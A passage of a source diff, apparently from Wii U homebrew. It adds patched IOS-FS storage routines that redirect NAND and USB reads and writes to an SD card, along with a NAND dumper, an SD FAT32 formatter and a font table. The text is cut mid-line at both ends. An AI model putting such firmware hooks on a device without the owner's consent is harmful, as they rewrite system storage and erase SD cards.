USB_BASE_SECTORS, offset_low, cnt, block_size, data_outptr, callback, callback_parameter); +} + +int usbRead_patch(void *physical_device_info, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter) +{ + return usbReadWrite_patch(SDIO_READ, offset_high, offset_low, cnt, block_size, data_outptr, callback, callback_parameter); +} + +int usbWrite_patch(void *physical_device_info, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter) +{ + return usbReadWrite_patch(SDIO_WRITE, offset_high, offset_low, cnt, block_size, data_outptr, callback, callback_parameter); +} + +//!------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! SDIO redirection +//!------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +static int sdcardReadWrite_patch(void *physical_device_info, int is_read, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter) +{ + u32 offset_offset; + u32 *phys_dev = (u32*)physical_device_info; + + if(phys_dev[0x14/4] != DEVICE_TYPE_SDCARD) + { + offset_offset = MLC_BASE_SECTORS; + } + else + { + offset_offset = 0; + } + + return readWriteCallback_patch(is_read, offset_offset, offset_low, cnt, block_size, data_outptr, callback, callback_parameter); +} + +int sdcardRead_patch(void *physical_device_info, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter) +{ + return sdcardReadWrite_patch(physical_device_info, SDIO_READ, offset_low, cnt, block_size, data_outptr, callback, callback_parameter); +} + +int sdcardWrite_patch(void *physical_device_info, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter) +{ + return sdcardReadWrite_patch(physical_device_info, SDIO_WRITE, offset_low, cnt, block_size, data_outptr, callback, callback_parameter); +} + +//!------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! SLC redirection +//!------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +static int slcReadWrite_patch(void *physical_device_info, int is_read, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter) +{ + u32 offset_offset; + u32 *phys_dev = (u32*)physical_device_info; + + if(phys_dev[1] != 0) + { + // physical_device_info = 0x11C381CC + offset_offset = (u32)(((u64)SLC_BASE_SECTORS * (u64)SDIO_BYTES_PER_SECTOR) / SLC_BYTES_PER_SECTOR); + } + else + { + // physical_device_info = 0x11C37668 + offset_offset = (u32)(((u64)SLCCMPT_BASE_SECTORS * (u64)SDIO_BYTES_PER_SECTOR) / SLC_BYTES_PER_SECTOR); + } + + return readWriteCallback_patch(is_read, offset_offset, offset_low, cnt, block_size, data_outptr, callback, callback_parameter); +} + +int slcRead1_patch(void *physical_device_info, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter) +{ + return slcReadWrite_patch(physical_device_info, SDIO_READ, offset_low, cnt, block_size, data_outptr, callback, callback_parameter); +} + +int slcWrite1_patch(void *physical_device_info, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter) +{ + return slcReadWrite_patch(physical_device_info, SDIO_WRITE, offset_low, cnt, block_size, data_outptr, callback, callback_parameter); +} + +int slcRead2_patch(void *physical_device_info, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, int ukn1, void *data_outptr, int ukn2, read_write_callback_t callback, int callback_parameter) +{ + return slcReadWrite_patch(physical_device_info, SDIO_READ, offset_low, cnt, block_size, data_outptr, callback, callback_parameter); +} + +int slcWrite2_patch(void *physical_device_info, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, int ukn1, void *data_outptr, int ukn2, read_write_callback_t callback, int callback_parameter) +{ + return slcReadWrite_patch(physical_device_info, SDIO_WRITE, offset_low, cnt, block_size, data_outptr, callback, callback_parameter); +} + diff --git a/ios_fs/source/devices.h b/ios_fs/source/devices.h new file mode 100644 index 0000000..4c172ca --- /dev/null +++ b/ios_fs/source/devices.h @@ -0,0 +1,58 @@ +#ifndef DEVICES_H_ +#define DEVICES_H_ + +#define DEVICE_TYPE_SDCARD 0x06 + +#define DEVICE_ID_SDCARD_REAL 0x43 +#define DEVICE_ID_SDCARD_PATCHED 0xDA + +#define DEVICE_ID_MLC 0xAB + +#define SDIO_BYTES_PER_SECTOR 512 +#define MLC_BYTES_PER_SECTOR 512 +#define SLC_BYTES_PER_SECTOR 2048 + +#define SLC_BASE_SECTORS (0x000500) +#define SLCCMPT_BASE_SECTORS (0x100500) +#define MLC_BASE_SECTORS (0x200500) + +#define USB_BASE_SECTORS (0x2720000) +#define SYSLOG_BASE_SECTORS (0x6D00000) +#define DUMPDATA_BASE_SECTORS (SYSLOG_BASE_SECTORS + (0x40000 / SDIO_BYTES_PER_SECTOR)) + +#define SLC_SECTOR_COUNT 0x40000 +#define MLC_8GB_SECTOR_COUNT 0xE90000 +#define MLC_32GB_SECTOR_COUNT 0x3A3E000 //0x3A20000 + +#define MLC_NAND_TYPE_32GB 0 +#define MLC_NAND_TYPE_8GB 1 + +#define NAND_DUMP_SIGNATURE_SECTOR 0x01 +#define NAND_DUMP_SIGNATURE 0x4841585844554d50ULL // HAXXDUMP + +#define NAND_DESC_TYPE_SLC 0x534c4320 // 'SLC ' +#define NAND_DESC_TYPE_SLCCMPT 0x534c4332 // 'SLC2' +#define NAND_DESC_TYPE_MLC 0x4d4c4320 // 'MLC ' + +typedef struct _stdio_nand_desc_t +{ + u32 nand_type; // nand type + u32 base_sector; // base sector of dump + u32 sector_count; // sector count in SDIO sectors +} __attribute__((packed))stdio_nand_desc_t; + +typedef struct _sdio_nand_signature_sector_t +{ + u64 signature; // HAXXDUMP + stdio_nand_desc_t nand_descriptions[3]; +} __attribute__((packed)) sdio_nand_signature_sector_t; + + +typedef void (*read_write_callback_t)(int, int); + +int getPhysicalDeviceHandle(u32 device); + +int slcRead1_original(void *physical_device_info, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter); +int sdcardRead_original(void *physical_device_info, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter); + +#endif // DEVICES_H_ diff --git a/ios_fs/source/dumper.c b/ios_fs/source/dumper.c new file mode 100644 index 0000000..65820ce --- /dev/null +++ b/ios_fs/source/dumper.c @@ -0,0 +1,321 @@ +#include +#include "types.h" +#include "imports.h" +#include "devices.h" +#include "sdio.h" +#include "mlcio.h" +#include "fat32_format.h" +#include "text.h" +#include "hardware_registers.h" +#include "svc.h" + +// the IO buffer is put behind everything else because there is no access to this region from IOS-FS it seems +unsigned char io_buffer[0x40000] __attribute__((aligned(0x40))) __attribute__((section(".io_buffer"))); + +//! this one is required for the read function +static void slc_read_callback(int result, int priv) +{ + int *private_data = (int*)priv; + private_data[1] = result; + FS_SVC_RELEASEMUTEX(private_data[0]); +} + +static int srcRead(void* deviceHandle, void *data_ptr, u32 offset, u32 sectors, int * result_array) +{ + int readResult = slcRead1_original(deviceHandle, 0, offset, sectors, SLC_BYTES_PER_SECTOR, data_ptr, slc_read_callback, (int)result_array); + if(readResult == 0) + { + // wait for process to finish + FS_SVC_ACQUIREMUTEX(result_array[0], 0); + readResult = result_array[1]; + } + return readResult; +} + +void slc_dump(void *deviceHandle, const char* device, u32 base_sectors, int y_offset) +{ + //also create a mutex for synchronization with end of operation... + int sync_mutex = FS_SVC_CREATEMUTEX(1, 1); + FS_SVC_ACQUIREMUTEX(sync_mutex, 0); + + int result_array[2]; + result_array[0] = sync_mutex; + + u32 offset = 0; + int readResult = 0; + int writeResult = 0; + int retry = 0; + u32 readSize = sizeof(io_buffer) / SLC_BYTES_PER_SECTOR; + + FS_SLEEP(1000); + + do + { + // don't print single steps in between, just if they have an error or every 0x80 sectors + if((readSize == (sizeof(io_buffer) / SLC_BYTES_PER_SECTOR)) || (retry > 0)) + { + _printf(20, y_offset, "%s = %08X / 40000, read code %08X, write code %08X, retry %d", device, offset, readResult, writeResult, retry); + } + + //! set flash erased byte to buffer + FS_MEMSET(io_buffer, 0xff, sizeof(io_buffer)); + //readResult = readSlc(io_buffer, offset, (sizeof(io_buffer) / SLC_BYTES_PER_SECTOR), deviceHandle); + readResult = srcRead(deviceHandle, io_buffer, offset, readSize, result_array); + + //! retry 2 times as there are read failures in several places + if((readResult != 0) && (retry < 2)) + { + readSize = 1; + FS_SLEEP(10); + retry++; + } + else + { + retry = 0; + + while(1) + { + FS_SLEEP(10); + + writeResult = sdcard_readwrite(SDIO_WRITE, io_buffer, (readSize * (SLC_BYTES_PER_SECTOR / SDIO_BYTES_PER_SECTOR)), SDIO_BYTES_PER_SECTOR, base_sectors, NULL, DEVICE_ID_SDCARD_PATCHED); + if((writeResult == 0) || (retry >= 2)) + { + retry = 0; + base_sectors += (readSize * (SLC_BYTES_PER_SECTOR / SDIO_BYTES_PER_SECTOR)); + offset += readSize; + + // if we did single sector reads and got to a point where we can do multiple reads -> switch to multiple sector reads + if((offset % (sizeof(io_buffer) / SLC_BYTES_PER_SECTOR)) == 0) + { + readSize = sizeof(io_buffer) / SLC_BYTES_PER_SECTOR; + } + break; + } + else + { + retry++; + } + } + } + } + while (offset < SLC_SECTOR_COUNT); + + FS_SVC_DESTROYMUTEX(sync_mutex); + + // last print to show "done" + _printf(20, y_offset, "%s = %08X / 40000, read code %08X, write code %08X, retry %d", device, offset, readResult, writeResult, retry); +} + +void mlc_dump(u32 base_sector, u32 mlc_end) +{ + u32 offset = 0; + + int retry = 0; + int mlc_result = 0; + int callback_result = 0; + int write_result = 0; + int print_counter = 0; + + do + { + //! print only every 4th time + if(print_counter == 0) + { + print_counter = 4; + _printf(20, 70, "mlc = %08X / %08X, mlc res %08X, sd res %08X, retry %d", offset, mlc_end, mlc_result, write_result, retry); + } + else + { + --print_counter; + } + + //! set flash erased byte to buffer + FS_MEMSET(io_buffer, 0xff, sizeof(io_buffer)); + mlc_result = sdcard_readwrite(SDIO_READ, io_buffer, (sizeof(io_buffer) / MLC_BYTES_PER_SECTOR), MLC_BYTES_PER_SECTOR, offset, &callback_result, DEVICE_ID_MLC); + + if((mlc_result == 0) && (callback_result != 0)) + { + mlc_result = callback_result; + } + + //! retry 5 times as there are read failures in several places + if((mlc_result != 0) && (retry < 5)) + { + FS_SLEEP(100); + retry++; + print_counter = 0; // print errors directly + } + else + { + write_result = sdcard_readwrite(SDIO_WRITE, io_buffer, (sizeof(io_buffer) / MLC_BYTES_PER_SECTOR), SDIO_BYTES_PER_SECTOR, base_sector + offset, NULL, DEVICE_ID_SDCARD_PATCHED); + if((write_result == 0) || (retry >= 5)) + { + retry = 0; + offset += (sizeof(io_buffer) / MLC_BYTES_PER_SECTOR); + } + else + { + FS_SLEEP(100); + retry++; + print_counter = 0; // print errors directly + } + } + } + while(offset < mlc_end); //! TODO: make define MLC32_SECTOR_COUNT + + // last print to show "done" + _printf(20, 70, "mlc = %08X / %08X, mlc res %08X, sd res %08X, retry %d", offset, mlc_end, mlc_result, write_result, retry); +} + +int check_nand_type(void) +{ + //! check if MLC size is > 8GB + if( FS_MMC_MLC_STRUCT[0x30/4] > 0x1000000) + { + return MLC_NAND_TYPE_32GB; + } + else + { + return MLC_NAND_TYPE_8GB; + } +} + +int check_nand_dump(void) +{ + u32 mlc_sector_count = FS_MMC_MLC_STRUCT[0x30/4]; + + int signature_correct = 0; + sdio_nand_signature_sector_t * sign_sect = (sdio_nand_signature_sector_t*)io_buffer; + memset(sign_sect, 0, SDIO_BYTES_PER_SECTOR); + sdcard_readwrite(SDIO_READ, sign_sect, 1, SDIO_BYTES_PER_SECTOR, NAND_DUMP_SIGNATURE_SECTOR, NULL, DEVICE_ID_SDCARD_PATCHED); + + signature_correct = (sign_sect->signature == NAND_DUMP_SIGNATURE); + + memset(io_buffer, 0, SDIO_BYTES_PER_SECTOR); + sdcard_readwrite(SDIO_READ, io_buffer, 1, SDIO_BYTES_PER_SECTOR, 0, NULL, DEVICE_ID_SDCARD_PATCHED); + + return signature_correct && CheckFAT32PartitionOffset(io_buffer, MLC_BASE_SECTORS + mlc_sector_count); +} + +static void wait_format_confirmation(void) +{ + int timeout = 600; + //"Press the POWER button SD then , else the console will reboot in %u seconds." + while(1) + { + _printf(20, 30, "No NAND dump detected. SD Format and complete NAND dump required."); + _printf(20, 40, "Press the POWER button to format SD card otherwise the console will reboot in %d seconds.", timeout/10); + + if(svcRead32(LT_GPIO_IN) & GPIO_IN_POWER_BUTTON) + { + break; + } + + if(--timeout == 0) + { + FS_SLEEP(1000); + svcShutdown(SHUTDOWN_TYPE_REBOOT); + } + + FS_SLEEP(100); + } + + // clear the lines + clearLine(30, 0x000000FF); + clearLine(40, 0x000000FF); +} + +void dump_nand_complete() +{ + wait_format_confirmation(); + + mlc_init(); + FS_SLEEP(1000); + + int nand_type = check_nand_type(); + u32 sdio_sector_count = FS_MMC_SDCARD_STRUCT[0x30/4]; + u32 mlc_sector_count = FS_MMC_MLC_STRUCT[0x30/4]; + u32 fat32_partition_offset = (MLC_BASE_SECTORS + mlc_sector_count); + + _printf(20, 30, "Detected %d GB MLC NAND type.", (nand_type == MLC_NAND_TYPE_8GB) ? 8 : 32); + + if(sdio_sector_count < fat32_partition_offset) + { + _printf(20, 40, "SD card too small! Required sectors %u > available %u.", fat32_partition_offset, sdio_sector_count); + FS_SLEEP(3000); + svcShutdown(SHUTDOWN_TYPE_REBOOT); + } + + if( FormatSDCard(fat32_partition_offset, sdio_sector_count) < 0 ) + { + FS_SLEEP(3000); + svcShutdown(SHUTDOWN_TYPE_REBOOT); + } + + slc_dump(FS_SLC_PHYS_DEV_STRUCT, "slc ", SLC_BASE_SECTORS, 50); + slc_dump(FS_SLCCMPT_PHYS_DEV_STRUCT, "slccmpt", SLCCMPT_BASE_SECTORS, 60); + mlc_dump(MLC_BASE_SECTORS, mlc_sector_count); + + //! write marker to SD card from which we can auto detect NAND dump + //! we can actually use that for settings + sdio_nand_signature_sector_t * sign_sect = (sdio_nand_signature_sector_t*)io_buffer; + memset(sign_sect, 0, SDIO_BYTES_PER_SECTOR); + sign_sect->signature = NAND_DUMP_SIGNATURE; + sign_sect->nand_descriptions[0].nand_type = NAND_DESC_TYPE_SLC; + sign_sect->nand_descriptions[0].base_sector = SLC_BASE_SECTORS; + sign_sect->nand_descriptions[0].sector_count = SLC_SECTOR_COUNT * (SLC_BYTES_PER_SECTOR / SDIO_BYTES_PER_SECTOR); + sign_sect->nand_descriptions[1].nand_type = NAND_DESC_TYPE_SLCCMPT; + sign_sect->nand_descriptions[1].base_sector = SLCCMPT_BASE_SECTORS; + sign_sect->nand_descriptions[1].sector_count = SLC_SECTOR_COUNT * (SLC_BYTES_PER_SECTOR / SDIO_BYTES_PER_SECTOR); + sign_sect->nand_descriptions[2].nand_type = NAND_DESC_TYPE_MLC; + sign_sect->nand_descriptions[2].base_sector = MLC_BASE_SECTORS; + sign_sect->nand_descriptions[2].sector_count = mlc_sector_count * (MLC_BYTES_PER_SECTOR / SDIO_BYTES_PER_SECTOR); + + sdcard_readwrite(SDIO_WRITE, io_buffer, 1, SDIO_BYTES_PER_SECTOR, NAND_DUMP_SIGNATURE_SECTOR, NULL, DEVICE_ID_SDCARD_PATCHED); + + _printf(20, 80, "Complete! -> rebooting into sysNAND..."); + + FS_SLEEP(3000); + svcShutdown(SHUTDOWN_TYPE_REBOOT); +} + +#if 0 +// debug and not used at the moment +void dump_data(void* data_ptr, u32 size) +{ + static u32 dumpdata_offset = 0; + + u32 num_sectors = size >> 9; // size / SDIO_BYTES_PER_SECTOR but faster ;) + if (num_sectors == 0) + num_sectors = 1; + + sdcard_readwrite(SDIO_WRITE, data_ptr, num_sectors, SDIO_BYTES_PER_SECTOR, DUMPDATA_BASE_SECTORS + dumpdata_offset, NULL, DEVICE_ID_SDCARD_PATCHED); + dumpdata_offset += num_sectors; +} + +void dump_lots_data(u8* addr, u32 size) +{ + u32 cur_size; + u32 size_remaining = size; + u8* cur_addr = addr; + do + { + cur_size = sizeof(io_buffer); + if (cur_size > size_remaining) + cur_size = size_remaining; + + FS_MEMCPY(io_buffer, cur_addr, cur_size); + dump_data(io_buffer, cur_size); + + cur_addr += cur_size; + size_remaining -= cur_size; + } + while (cur_size != 0); +} + +void dump_syslog() +{ + FS_MEMCPY(io_buffer, *(void**)0x05095ECC, sizeof(io_buffer)); + sdcard_readwrite(SDIO_WRITE, io_buffer, sizeof(io_buffer) / SDIO_BYTES_PER_SECTOR, SDIO_BYTES_PER_SECTOR, SYSLOG_BASE_SECTORS, NULL, DEVICE_ID_SDCARD_PATCHED); +} +#endif diff --git a/ios_fs/source/dumper.h b/ios_fs/source/dumper.h new file mode 100644 index 0000000..6bd80ff --- /dev/null +++ b/ios_fs/source/dumper.h @@ -0,0 +1,15 @@ +#ifndef _DUMPER_H_ +#define _DUMPER_H_ + +//! debug dumps +void dump_syslog(); +void dump_data(void* data_ptr, u32 size); +void dump_lots_data(u8* addr, u32 size); + +int check_nand_type(void); +int check_nand_dump(void); +void slc_dump(int deviceId, const char* format, u32 base_sectors); +void mlc_dump(u32 base_sector, u32 mlc_end); +void dump_nand_complete(); + +#endif // _DUMPER_H_ diff --git a/ios_fs/source/fat32_format.c b/ios_fs/source/fat32_format.c new file mode 100644 index 0000000..b78ff31 --- /dev/null +++ b/ios_fs/source/fat32_format.c @@ -0,0 +1,326 @@ +#include +#include "types.h" +#include "imports.h" +#include "devices.h" +#include "sdio.h" +#include "text.h" + +extern unsigned char io_buffer[0x40000]; + +#define PARTITION_TYPE_FAT32 0x0c +#define MAX_PARTITIONS 32 /* Maximum number of partitions that can be found */ +#define MAX_MOUNTS 10 /* Maximum number of mounts available at one time */ +#define MAX_SYMLINK_DEPTH 10 /* Maximum search depth when resolving symbolic links */ + +#define MBR_SIGNATURE 0x55AA +#define EBR_SIGNATURE MBR_SIGNATURE + +#define PARTITION_BOOTABLE 0x80 /* Bootable (active) */ +#define PARTITION_NONBOOTABLE 0x00 /* Non-bootable */ +#define PARTITION_TYPE_GPT 0xEE /* Indicates that a GPT header is available */ + +typedef struct _PARTITION_RECORD { + u8 status; /* Partition status; see above */ + u8 chs_start[3]; /* Cylinder-head-sector address to first block of partition */ + u8 type; /* Partition type; see above */ + u8 chs_end[3]; /* Cylinder-head-sector address to last block of partition */ + u32 lba_start; /* Local block address to first sector of partition */ + u32 block_count; /* Number of blocks in partition */ +} __attribute__((__packed__)) PARTITION_RECORD; + + +typedef struct _MASTER_BOOT_RECORD { + u8 code_area[446]; /* Code area; normally empty */ + PARTITION_RECORD partitions[4]; /* 4 primary partitions */ + u16 signature; /* MBR signature; 0xAA55 */ +} __attribute__((__packed__)) MASTER_BOOT_RECORD; + +typedef struct tagFAT_BOOTSECTOR32 +{ + // Common fields. + u8 sJmpBoot[3]; + u8 sOEMName[8]; + u16 wBytsPerSec; + u8 bSecPerClus; + u16 wRsvdSecCnt; + u8 bNumFATs; + u16 wRootEntCnt; + u16 wTotSec16; + u8 bMedia; + u16 wFATSz16; + u16 wSecPerTrk; + u16 wNumHeads; + u32 dHiddSec; + u32 dTotSec32; + // Fat 32/16 only + u32 dFATSz32; + u16 wExtFlags; + u16 wFSVer; + u32 dRootClus; + u16 wFSInfo; + u16 wBkBootSec; + u8 Reserved[12]; + u8 bDrvNum; + u8 Reserved1; + u8 bBootSig; // == 0x29 if next three fields are ok + u32 dBS_VolID; + u8 sVolLab[11]; + u8 sBS_FilSysType[8]; + +} __attribute__((__packed__)) FAT_BOOTSECTOR32; + +typedef struct { + u32 dLeadSig; + u8 sReserved1[480]; + u32 dStrucSig; + u32 dFree_Count; + u32 dNxt_Free; + u8 sReserved2[12]; + u32 dTrailSig; +} __attribute__((__packed__)) FAT_FSINFO; + +static inline u8 get_sectors_per_cluster (u64 DiskSizeBytes) +{ + u8 ret = 0x01; // 1 sector per cluster + u32 DiskSizeMB = DiskSizeBytes/(1024*1024); + + // 512 MB to 8,191 MB 4 KB + if (DiskSizeMB > 512) + ret = 0x8; + + // 8,192 MB to 16,383 MB 8 KB + if (DiskSizeMB > 8192) + ret = 0x10; + + // 16,384 MB to 32,767 MB 16 KB + if (DiskSizeMB > 16384) + ret = 0x20; // ret = 0x20; + + // Larger than 32,768 MB 32 KB + if (DiskSizeMB > 32768) + ret = 0x40; // ret = 0x40; + + return ret; +} + +static inline u32 MakeVolumeID() +{ + // we dont have time yet so for now its fixed + //time_t rawtime = time(0); + //struct tm * timeinfo = localtime(&rawtime); + + //u16 hi = le16(timeinfo->tm_mday + (timeinfo->tm_mon << 8) + (timeinfo->tm_sec << 8)); + //u16 lo = le16((timeinfo->tm_hour << 8) + timeinfo->tm_min + timeinfo->tm_year + 1900); + u16 hi = 0x0BAD; + u16 lo = 0xBABE; + + return (lo + (hi << 16)); +} + + +int FormatToFAT32(u32 lba, u32 sec_count) +{ + if(sec_count < 0xFFFF) + { + _printf(20, 40, "Not enough sectors for FAT32"); + return -1; + } + + int BytesPerSect = SDIO_BYTES_PER_SECTOR; + u16 ReservedSectCount = 32; + u8 NumFATs = 2; + + memset(io_buffer, 0, BytesPerSect*18); + + FAT_BOOTSECTOR32 * FAT32BootSect = (FAT_BOOTSECTOR32 *) (io_buffer+16*BytesPerSect); + FAT_FSINFO * FAT32FsInfo = (FAT_FSINFO*) (io_buffer+17*BytesPerSect); + + // fill out the boot sector and fs info + FAT32BootSect->sJmpBoot[0] = 0xEB; + FAT32BootSect->sJmpBoot[1] = 0x5A; + FAT32BootSect->sJmpBoot[2] = 0x90; + memcpy(FAT32BootSect->sOEMName, "MSWIN4.1", 8); + + FAT32BootSect->wBytsPerSec = le16(BytesPerSect); + + u8 SectorsPerCluster = get_sectors_per_cluster((u64) sec_count * (u64) BytesPerSect); + + FAT32BootSect->bSecPerClus = SectorsPerCluster; + FAT32BootSect->wRsvdSecCnt = le16(ReservedSectCount); + FAT32BootSect->bNumFATs = NumFATs; + FAT32BootSect->wRootEntCnt = 0; + FAT32BootSect->wTotSec16 = 0; + FAT32BootSect->bMedia = 0xF8; + FAT32BootSect->wFATSz16 = 0; + FAT32BootSect->wSecPerTrk = le16(63); //SectorsPerTrack; + FAT32BootSect->wNumHeads = le16(255); //TracksPerCylinder; + FAT32BootSect->dHiddSec = le32(lba); //HiddenSectors; + FAT32BootSect->dTotSec32 = le32(sec_count); + + // This is based on + // http://hjem.get2net.dk/rune_moeller_barnkob/filesystems/fat.html + u32 FatSize = (4*(sec_count-ReservedSectCount)/((SectorsPerCluster*BytesPerSect)+(4*NumFATs)))+1; + + FAT32BootSect->dFATSz32 = le32(FatSize); + FAT32BootSect->wExtFlags = 0; + FAT32BootSect->wFSVer = 0; + FAT32BootSect->dRootClus = le32(2); + FAT32BootSect->wFSInfo = le16(1); + FAT32BootSect->wBkBootSec = le16(6); //BackupBootSect + FAT32BootSect->bDrvNum = 0x80; + FAT32BootSect->Reserved1 = 0; + FAT32BootSect->bBootSig = 0x29; + + FAT32BootSect->dBS_VolID = MakeVolumeID(); + memcpy(FAT32BootSect->sVolLab, "NO NAME ", 11); + memcpy(FAT32BootSect->sBS_FilSysType, "FAT32 ", 8); + ((u8 *)FAT32BootSect)[510] = 0x55; //Boot Record Signature + ((u8 *)FAT32BootSect)[511] = 0xAA; //Boot Record Signature + + // FSInfo sect signatures + FAT32FsInfo->dLeadSig = le32(0x41615252); + FAT32FsInfo->dStrucSig = le32(0x61417272); + FAT32FsInfo->dTrailSig = le32(0xaa550000); + ((u8 *)FAT32FsInfo)[510] = 0x55; //Boot Record Signature + ((u8 *)FAT32FsInfo)[511] = 0xAA; //Boot Record Signature + + // First FAT Sector + u32 FirstSectOfFat[3]; + FirstSectOfFat[0] = le32(0x0ffffff8); // Reserved cluster 1 media id in low byte + FirstSectOfFat[1] = le32(0x0fffffff); // Reserved cluster 2 EOC + FirstSectOfFat[2] = le32(0x0fffffff); // end of cluster chain for root dir + + u32 UserAreaSize = sec_count - ReservedSectCount - (NumFATs*FatSize); + u32 ClusterCount = UserAreaSize/SectorsPerCluster; + + if (ClusterCount > 0x0FFFFFFF) + { + _printf(20, 40, "This drive has more than 2^28 clusters. Partition might be too small."); + return -1; + } + + if (ClusterCount < 65536) + { + _printf(20, 40, "FAT32 must have at least 65536 clusters"); + return -1; + } + + u32 FatNeeded = (ClusterCount * 4 + (BytesPerSect-1))/BytesPerSect; + if (FatNeeded > FatSize) + { + _printf(20, 40, "This drive is too big, %u > %u", FatNeeded, FatSize); + return -1; + } + + // fix up the FSInfo sector + FAT32FsInfo->dFree_Count = le32((UserAreaSize/SectorsPerCluster)-1); + FAT32FsInfo->dNxt_Free = le32(3); // clusters 0-1 resered, we used cluster 2 for the root dir + + /** Now all is done and we start writting **/ + + // First zero out ReservedSect + FatSize * NumFats + SectorsPerCluster + u32 SystemAreaSize = (ReservedSectCount+(NumFATs*FatSize) + SectorsPerCluster); + u32 done = 0; + // Read the first sector on the device + while(SystemAreaSize > 0) + { + int write = SystemAreaSize < 16 ? SystemAreaSize : 16; + + int result = sdcard_readwrite(SDIO_WRITE, io_buffer, write, SDIO_BYTES_PER_SECTOR, lba+done, NULL, DEVICE_ID_SDCARD_PATCHED); + if(result != 0) + { + _printf(20, 40, "Cannot write to the drive."); + return -1; + } + SystemAreaSize -= write; + done += write; + } + + for (int i = 0; i < 2; i++) + { + u32 SectorStart = (i == 0) ? lba : lba+6; //BackupBootSect + + int result = sdcard_readwrite(SDIO_WRITE, FAT32BootSect, 1, SDIO_BYTES_PER_SECTOR, SectorStart, NULL, DEVICE_ID_SDCARD_PATCHED); + if(result != 0) + { + _printf(20, 40, "Cannot write to the drive."); + return -1; + } + result = sdcard_readwrite(SDIO_WRITE, FAT32FsInfo, 1, SDIO_BYTES_PER_SECTOR, SectorStart+1, NULL, DEVICE_ID_SDCARD_PATCHED); + if(result != 0) + { + _printf(20, 40, "Cannot write to the drive."); + return -1; + } + } + + memcpy(io_buffer, FirstSectOfFat, sizeof(FirstSectOfFat)); + + // Write the first fat sector in the right places + for (int i = 0; i < NumFATs; i++) + { + u32 SectorStart = lba + ReservedSectCount + (i * FatSize); + + int result = sdcard_readwrite(SDIO_WRITE, io_buffer, 1, SDIO_BYTES_PER_SECTOR, SectorStart, NULL, DEVICE_ID_SDCARD_PATCHED); + if(result != 0) + { + _printf(20, 40, "Cannot write to the drive."); + return -1; + } + } + + return 0; +} + + +int CheckFAT32PartitionOffset(u8 * mbr_buf, u32 partition_offset) +{ + MASTER_BOOT_RECORD *mbr = (MASTER_BOOT_RECORD*)mbr_buf; + return (mbr->signature == MBR_SIGNATURE) && (le32(mbr->partitions[0].lba_start) >= partition_offset); +} + +int FormatSDCard(u32 partition_offset, u32 total_sectors) +{ + _printf(20, 40, "Formatting SD card...."); + + MASTER_BOOT_RECORD *mbr = (MASTER_BOOT_RECORD*)io_buffer; + memset(mbr, 0, SDIO_BYTES_PER_SECTOR); + + int result = sdcard_readwrite(SDIO_READ, mbr, 1, SDIO_BYTES_PER_SECTOR, 0, NULL, DEVICE_ID_SDCARD_PATCHED); + if(result != 0) + { + _printf(20, 40, "SD card read failed %i", result); + return result; + } + + u32 lba_start = partition_offset; + + result = FormatToFAT32(lba_start, total_sectors - partition_offset); + if(result != 0) + return result; + + memset(mbr, 0, sizeof(MASTER_BOOT_RECORD)); + mbr->signature = MBR_SIGNATURE; + + // setup primary FAT32 partition + mbr->partitions[0].status = PARTITION_BOOTABLE; // set activate + mbr->partitions[0].chs_start[0] = mbr->partitions[0].chs_end[0] = 0xFE; + mbr->partitions[0].chs_start[1] = mbr->partitions[0].chs_end[1] = 0xFF; + mbr->partitions[0].chs_start[2] = mbr->partitions[0].chs_end[2] = 0xFF; + mbr->partitions[0].type = PARTITION_TYPE_FAT32; + mbr->partitions[0].lba_start = le32(lba_start); + mbr->partitions[0].block_count = le32((total_sectors - partition_offset)); + + + result = sdcard_readwrite(SDIO_WRITE, mbr, 1, SDIO_BYTES_PER_SECTOR, 0, NULL, DEVICE_ID_SDCARD_PATCHED); + if(result != 0) + { + _printf(20, 40, "SD card write failed %i", result); + } + else + { + _printf(20, 40, "Format of SD card finished successfully", result); + } + + return result; +} diff --git a/ios_fs/source/fat32_format.h b/ios_fs/source/fat32_format.h new file mode 100644 index 0000000..1a008ac --- /dev/null +++ b/ios_fs/source/fat32_format.h @@ -0,0 +1,7 @@ +#ifndef _FAT32_FORMAT_H_ +#define _FAT32_FORMAT_H_ + +int CheckFAT32PartitionOffset(u8 * mbr, u32 partition_offset); +int FormatSDCard(u32 partition_offset, u32 total_sectors); + +#endif // _FAT32_FORMAT_H_ diff --git a/ios_fs/source/font.c b/ios_fs/source/font.c new file mode 100644 index 0000000..91aef28 --- /dev/null +++ b/ios_fs/source/font.c @@ -0,0 +1,49 @@ +const unsigned char font_bin[] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x30, 0x18, 0x18, 0x00, 0x0C, 0x00, + 0x00, 0x22, 0x22, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x66, 0xFF, 0x66, 0xFF, 0x66, 0x66, + 0x00, 0x18, 0x7C, 0x06, 0x3C, 0x60, 0x3E, 0x18, 0x10, 0x46, 0x66, 0x30, 0x18, 0x0C, 0x66, 0x62, + 0x00, 0x3C, 0x66, 0x3C, 0x1C, 0xE6, 0x66, 0xFC, 0x00, 0x18, 0x0C, 0x06, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x30, 0x18, 0x0C, 0x0C, 0x18, 0x30, 0x00, 0x00, 0x0C, 0x18, 0x30, 